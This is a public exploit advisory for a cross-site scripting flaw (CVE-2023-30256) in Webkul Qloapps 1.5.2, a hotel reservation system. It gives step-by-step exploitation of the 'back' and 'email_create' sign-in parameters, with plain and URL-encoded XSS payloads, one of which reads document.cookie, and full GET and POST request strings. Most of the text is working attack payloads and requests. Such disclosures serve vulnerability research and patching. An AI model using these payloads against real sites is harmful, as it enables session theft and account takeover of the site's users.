Webkul Qloapps 1.5.2 Cross Site Scripting

# Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256


Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
  - back
  - email_create

2.1) Insert your payload in the "back"- GET and POST Request 
  Proof of concept (Poc):
  The following payload will allow you to execute XSS - 

  Payload (Plain text): 
  xss onfocus=alert(1) autofocus= xss

  Payload (URL Encoded): 
  xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

  Full GET Request (back): 
  [http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the "email_create" - POST Request Only
  Proof of concept (Poc):
  The following payload will allow you to execute XSS - 

  Payload (Plain text): 
  xss><img src=a onerror=alert(document.cookie)>xss

  Payload (URL Encoded): 
  xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

  POST Request (email_create) (POST REQUEST DATA ONLY): 
  [controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d]